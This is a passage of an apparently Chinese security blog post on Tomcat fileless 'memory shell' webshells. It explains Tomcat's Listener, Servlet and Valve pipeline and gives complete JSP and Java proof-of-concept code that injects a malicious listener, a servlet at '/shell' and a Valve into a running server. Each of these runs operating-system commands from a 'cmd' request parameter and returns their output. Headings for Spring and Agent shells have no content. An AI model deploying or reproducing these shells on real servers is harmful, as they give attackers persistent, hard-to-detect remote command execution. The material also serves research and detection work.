接着是获取 StandardContext 的代码,并且添加 Listener

StandardHostValve#invoke 中,可以看到其通过request对象来获取 StandardContext

由于JSP内置了request对象,我们也可以使用同样的方式来获取

1
2
3
4
5
6
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

接着我们编写一个恶意的Listener

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

最后添加监听器

1
2
3
4
<%
	Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<%--
  Created by IntelliJ IDEA.
  User: 10086
  Date: 2025/12/2
  Time: 23:03
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

    class ListenerMemShell implements ServletRequestListener {

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();

                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
%>

<%
    ServletContext servletContext =  request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new ListenerMemShell());
    standardContext.setApplicationEventListeners(arrayList.toArray());
    out.println("Injected");
%>

这里改成通过直接获取数组并往里面添加listener实现的

之前的想法实现如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<%
    //通过反射获取standardContext
    ServletContext servletContext = request.getServletContext();
    //通过servletContext获取到applicationContext
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    //通过applicationContext获取到standardContext
    Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
    standardContextFiled.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);

    //将定义的Listener注入到standardContext中
    standardContext.addApplicationEventListener(new ShellListener());
    out.println("Inject successful");
%>

Servlet内存马

先去servlet接口看看有什么方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public interface Servlet {
    void init(ServletConfig config) throws ServletException;

    ServletConfig getServletConfig();

    void service(ServletRequest req, ServletResponse res) throws ServletException, IOException;

    String getServletInfo();

    void destroy();
}

很显然,恶意代码要写在service方法里面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package Servlet;

import jakarta.servlet.*;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class ServletTest implements Servlet {
    @Override
    public void init(ServletConfig config) throws ServletException {

    }

    @Override
    public void destroy() {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public String getServletInfo() {
        return "";
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        if(cmd!=null){
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            Scanner sc = new Scanner(inputStream).useDelimiter("\\A");
            String result = sc.next();
            res.getWriter().write(result);
        }
        res.getWriter().println("ServletTest");
    }
}

然后在web.xml注册一下

1
2
3
4
5
6
7
8
<servlet>
    <servlet-name>ServletTest</servlet-name>
    <servlet-class>Servlet.ServletTest</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>ServletTest</servlet-name>
    <url-pattern>/servlet</url-pattern>
</servlet-mapping>

调试

因为 Web 应用程序的顺序是 Listener —-> Filter —-> Servlet,所以我们在调用 Servlet 的时候也会看到之前的 Listener 与 Filter 的流程。

把断点下在init方法上,然后在调用栈上找到http11processor这个类的service方法下断点

image-20251203212617940

这个 HTTP11Processor 类是一个网络请求的类,它的作用是处理数据包,而它的 service() 方法主要是在处理 HTTP 包的请求头,主要做了赋值的工作,后续会通过 ByteBuff 进行数据解析。

image-20251203215152240

跟进这里的service方法

image-20251203215341354

这里的getNote方法

image-20251203215436370

获取notes[1]的元素

因为最开始设置的值就是1

image-20251203215544858

后面基本上都是赋值

image-20251203215719522

到这里触发invoke方法才会往后走

connector.getService() 返回的是 Connector 关联的 Service 属性,也就是 StandardService 类型的对象。

connector.getService().getContainer() 返回的是 Service 里的容器 Engine 属性,也就是 StandardEngine 对象。

connector.getService().getContainer().getPipeline() 返回的是 StandardEngine 里的 Pipeline 属性,也就是 StandardPipeline 对象。

getFirst返回的是 StandardPipeline 的 Valve 类型的数行 first 或者 basic

总的来说,这里是http请求预处理的部分

读取webxml

这里的流程与前面filter和listener略有不同

这里比较懒就给结论吧,Servlet 的生成与动态添加依次进行了以下步骤:

  • 通过 context.createWapper() 创建 Wapper 对象;
  • 设置 Servlet 的 LoadOnStartUp 的值;
  • 设置 Servlet 的 Name ;
  • 设置 Servlet 对应的 Class ;
  • 将 Servlet 添加到 context 的 children 中;
  • 将 url 路径和 servlet 类做映射。

至于中间这个LoadOnStartUp,在 servlet 的配置当中,1 的含义是: 标记容器是否在启动的时候就加载这个 servlet。 当值为 0 或者大于 0 时,表示容器在应用启动时就加载这个 servlet; 当是一个负数时或者没有指定时,则指示容器在该 servlet 被选择时才加载。 正数的值越小,启动该 servlet 的优先级越高。

1
<load-on-startup>1</load-on-startup>

内存马

总结一下前面的工作流程:

首先获取到 HTTP 请求,这里的处理比较简单,和之前 Filter 流程分析是一样的。

  • 后面读取到 web.xml,并且在 WebConfig 方法里面还创建了一个 StandardWrapper,而我们的 Servlets 都会保存到这个 StandardWrapper 里面;
  • 后续这个 Wrapper 是放到 Context 里面去的

“一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。” “一个 Wrapper 对应一个 Servlet。负责管理 Servlet”

在创建与加载完 StandardWrapper 之后,我们肯定是需要把加载的 Servlets 从 StandardWrapper 里面读取出来,所以这里就到了我们最后的一个过程:加载 Servlets,对应有一个很重要的属性值 loadOnStartUp

所以思路是:

  1. 获取 StandardContext 对象
  2. 编写恶意 Servlet
  3. 通过 StandardContext.createWrapper() 创建StandardWrapper 对象
  4. 设置 StandardWrapper 对象的 loadOnStartup 属性值
  5. 设置 StandardWrapper 对象的 ServletName 属性值
  6. 设置 StandardWrapper 对象的 ServletClass 属性值
  7. StandardWrapper 对象添加进 StandardContext 对象的 children 属性中
  8. 通过 StandardContext.addServletMappingDecoded() 添加对应的路径映射

获取standardContext对象

jsp

1
2
3
4
5
6
<%
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext standardContext = (StandardContext) req.getContext();
%>        

或者用前面的listen内存马,那个通过servletContext一直反射获取到standardcontext

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<%
    //通过反射获取standardContext
    ServletContext servletContext = request.getServletContext();
    //通过servletContext获取到applicationContext
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    //通过applicationContext获取到standardContext
    Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
    standardContextFiled.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);

%>

恶意servlet

直接用上面我们写的那个test

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<%!
        public class evilServlet implements Servlet{

                @Override
                public void init(ServletConfig config) throws ServletException {

                }

                @Override
                public ServletConfig getServletConfig() {
                        return null;
                }

                @Override
                public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
                        String cmd = req.getParameter("cmd");
                        if(cmd!=null){
                                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                                Scanner sc = new Scanner(inputStream).useDelimiter("\\A");
                                String result = sc.next();
                                res.getWriter().write(result);
                        }
                }

                @Override
                public String getServletInfo() {
                        return "";
                }

                @Override
                public void destroy() {

                }
        }
        
%>

创建wrapper对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<%
        evilServlet evilServlet = new evilServlet();
        String name = evilServlet.getClass().getSimpleName();

        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setLoadOnStartup(1);
        wrapper.setName(name);
        wrapper.setServlet(evilServlet);
        wrapper.setServletClass(evilServlet.getClass().getName());
%>

接着把wrapper添加到StandardContext里面

1
2
3
4
<%
        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded("/shell",name);
%>

完整poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext standardContext = (StandardContext) req.getContext();
%>
<%!
        public class evilServlet implements Servlet{

                @Override
                public void init(ServletConfig config) throws ServletException {

                }

                @Override
                public ServletConfig getServletConfig() {
                        return null;
                }

                @Override
                public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
                        String cmd = req.getParameter("cmd");
                        if(cmd!=null){
                                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                                Scanner sc = new Scanner(inputStream).useDelimiter("\\A");
                                String result = sc.next();
                                res.getWriter().write(result);
                        }
                }

                @Override
                public String getServletInfo() {
                        return "";
                }

                @Override
                public void destroy() {

                }
        }

%>
<%
        evilServlet evilServlet = new evilServlet();
        String name = evilServlet.getClass().getSimpleName();

        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setLoadOnStartup(1);
        wrapper.setName(name);
        wrapper.setServlet(evilServlet);
        wrapper.setServletClass(evilServlet.getClass().getName());
%>
<%
        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded("/shell",name);
%>

先访问这个jsp完成内存马的注入,然后访问我们注册的shell路由执行命令

Servlet 型的内存马无法使所有请求都经过恶意代码,只有访问我们设定的 url 才能触发

Servlet 型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现。

Tomcat Valve内存马

Valve

先了解一下tomcat管道机制,当 Tomcat 接收到客户端请求时,首先会使用 Connector 进行解析,然后发送到 Container 进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到 Servlet 进行处理的呢?这里涉及到的机制就是 Tomcat 管道机制。

管道机制主要涉及到两个名词,Pipeline(管道)和 Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。

Pipeline 中会有一个最基础的 Valve,这个 Valve 也被称之为 basic,它始终位于末端(最后执行),它在业务上面的表现是封装了具体的请求处理和输出响应。

Pipeline 提供了 addValve 方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行。

image-20251204213530547

在 Tomcat 中,四大组件 Engine、Host、Context 以及 Wrapper 都有其对应的 Valve 类,StandardEngineValve、StandardHostValve、StandardContextValve 以及 StandardWrapperValve,他们同时维护一个 StandardPipeline 实例。

分析

先写一个valve测试一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package Vallve;

import jakarta.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import java.io.IOException;

public class ValveTest extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        System.out.println("ValveTest invoke");
    }
}

我们还需要通过 addValve() 方法把它添加进去,不然的话这个 Valve 肯定是白写的。反之一想,我们只要能把我们自己编写的恶意 Valve 添加进去,就可以造成恶意马的写入了。

先去Pipeline类下找addValue方法的实现类,是standardpipline

image-20251207194620806

我们无法直接获取StandardPipeline,但是我们之前可以获取StandardContext,去里面找获取StandardPipeline方法

image-20251207194943822

看到这个getPipeline方法,跟进

image-20251207195031001

也就是我们可以直接通过

1
StandardContext.getPipeline = StandardPipeline; 

来获取到pipeline,这里由于valve的添加是在base之前的,非常像之前filter内存马

所以思路是:

  • 先获取 StandardContext
  • 编写恶意 Valve
  • 通过 StandardContext.getPipeline().addValve() 添加恶意 Valve

内存马

这里由前面servlet的调试,我们知道这个恶意valve肯定是放在servlet里面触发的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package Vallve;

import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.valves.ValveBase;

import java.io.IOException;
import java.lang.reflect.Field;


public class EvilValve extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            Field field = req.getClass().getDeclaredField("request");
            field.setAccessible(true);
            Request request = (Request) field.get(req);
            StandardContext context = (StandardContext) request.getContext();
            context.getPipeline().addValve(new ValveBase() {
                @Override
                public void invoke(Request request, Response response) throws IOException, ServletException {
                }
            });
            resp.getWriter().write("invoke success");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }
}

然后再编写一个ValveBase的子类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package Vallve;

import jakarta.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class ValveShell extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if(cmd!=null){
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            Scanner sc = new Scanner(inputStream).useDelimiter("\\A");
            String result = sc.next();
            response.getWriter().write(result);
        }
    }
}

jsp马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    class EvilValve extends ValveBase{
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if(cmd!=null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                Scanner sc = new Scanner(inputStream).useDelimiter("\\A");
                String result = sc.next();
                response.getWriter().write(result);
            }
        }
    }
%>
<%
    Field field = request.getClass().getDeclaredField("request");
    field.setAccessible(true);
    Request req = (Request) field.get(request);
    StandardContext context = (StandardContext) req.getContext();
    context.getPipeline().addValve(new EvilValve());
    out.println("injected");
%>

Spring内存马

Agent内存马

使用 Hugo 构建
主题 StackJimmy 设计